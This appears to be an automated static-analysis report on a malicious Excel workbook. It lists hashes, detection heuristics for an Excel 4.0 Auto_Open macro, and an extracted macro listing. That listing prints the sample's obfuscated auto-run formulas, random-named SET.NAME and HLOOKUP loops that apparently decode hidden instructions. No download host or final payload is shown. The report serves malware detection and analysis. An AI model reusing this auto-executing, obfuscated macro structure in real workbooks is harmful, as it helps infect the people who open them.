Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1802b3ac3cff0046…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:44:23 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: c7463ffdeb5acb8a5e88dc55bb794c6a SHA-1: dd3f92229a5bf2a292980312a46145500fef7679 SHA-256: 1802b3ac3cff004680156b317420b8df3c46573cb992e902b5a312404036fabe
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6719 bytes
SHA-256: cf943a1638318b7c6da75a5ff4253e522d3f50eb69fe9b6b48c5f36d367fe5e6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TUTuI
' 0018     23 LABEL : Cell Value, String Constant - ALWlOmcr len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I148 
' 0018     22 LABEL : Cell Value, String Constant - BvFVTFs len=0 
' 0018     21 LABEL : Cell Value, String Constant - CtSoHe len=0 
' 0018     20 LABEL : Cell Value, String Constant - dHQmF len=0 
' 0018     23 LABEL : Cell Value, String Constant - eePPDGyc len=0 
' 0018     24 LABEL : Cell Value, String Constant - EWIagSqZU len=0 
' 0018     22 LABEL : Cell Value, String Constant - FTylBZz len=0 
' 0018     20 LABEL : Cell Value, String Constant - gvfXQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - hlVBW len=0 
' 0018     25 LABEL : Cell Value, String Constant - KKLIZMUXmm len=0 
' 0018     26 LABEL : Cell Value, String Constant - lMOaHheoTcN len=0 
' 0018     23 LABEL : Cell Value, String Constant - MEaOTywE len=0 
' 0018     25 LABEL : Cell Value, String Constant - miBOQSyJKw len=0 
' 0018     21 LABEL : Cell Value, String Constant - NESusQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - paCKbgFNvpwr len=0 
' 0018     24 LABEL : Cell Value, String Constant - PavsyNMIy len=0 
' 0018     25 LABEL : Cell Value, String Constant - pcfbgPpscu len=0 
' 0018     23 LABEL : Cell Value, String Constant - RGmvWGCV len=0 
' 0018     27 LABEL : Cell Value, String Constant - RrTFMIJoNxJw len=0 
' 0018     24 LABEL : Cell Value, String Constant - ueEQwpDOc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TUTuI,I48,"SET.NAME("ueEQwpDOc",0+VALUE("0"))",""
'  TUTuI,I53,"SET.NAME("EWIagSqZU",ueEQwpDOc)",""
'  TUTuI,I56,"SET.NAME("dHQmF",ueEQwpDOc)",""
'  TUTuI,I61,"SET.NAME("KKLIZMUXmm",COUNTA(gvfXQ))",""
'  TUTuI,I64,"SET.NAME("RrTFMIJoNxJw",COUNTA(CtSoHe))",""
'  TUTuI,I69,[],""
'  TUTuI,I72,"SET.NAME("PavsyNMIy","")",""
'  TUTuI,I77,"EWIagSqZU",""
'  TUTuI,I79,"SET.NAME("MEaOTywE",HLOOKUP("*",gvfXQ,EWIagSqZU,FALSE))",""
'  TUTuI,P80,"",790.00000000000000000000
'  TUTuI,P81,"",925.00000000000000000000
'  TUTuI,I82,"pcfbgPpscu",""
'  TUTuI,P82,"",-930.00000000000000000000
'  TUTuI,P83,"",-112.00000000000000000000
'  TUTuI,P84,"",-152.00000000000000000000
'  TUTuI,P85,"",105.00000000000000000000
'  TUTuI,I86,"SET.NAME("lMOaHheoTcN",ueEQwpDOc)",""
'  TUTuI,I88,[],""
'  TUTuI,I93,"lMOaHheoTcN",""
'  TUTuI,I96,"paCKbgFNvpwr",""
'  TUTuI,I99,"NESusQ",""
'  TUTuI,I101,"ALWlOmcr",""
'  TUTuI,I104,"SET.NAME("miBOQSyJKw",VALUE(HLOOKUP("*",CtSoHe,ALWlOmcr,FALSE)))",""
'  TUTuI,I109,"hlVBW",""
'  TUTuI,I113,"PavsyNMIy",""
'  TUTuI,I117,"dHQmF",""
'  TUTuI,I122,NEXT(),""
'  TUTuI,I125,"BvFVTFs",""
'  TUTuI,I129,[],""
'  TUTuI,I133,"eePPDGyc",""
'  TUTuI,I138,NEXT(),""
'  TUTuI,I143,RETURN(),""
'  TUTuI,I169,"SET.NAME("RGmvWGCV",I48)",""
'  TUTuI,I173,"gvfXQ",""
'  TUTuI,I175,"SET.NAME("CtSoHe",R44C15)",""
'  TUTuI,I177,"SET.NAME("eePPDGyc",183)",""
'  TUTuI,I180,"SET.NAME("FTylBZz",9)",""
'  TUTuI,I182,RGmvWGCV(),""
'  TUTuI,I183,HALT(),""

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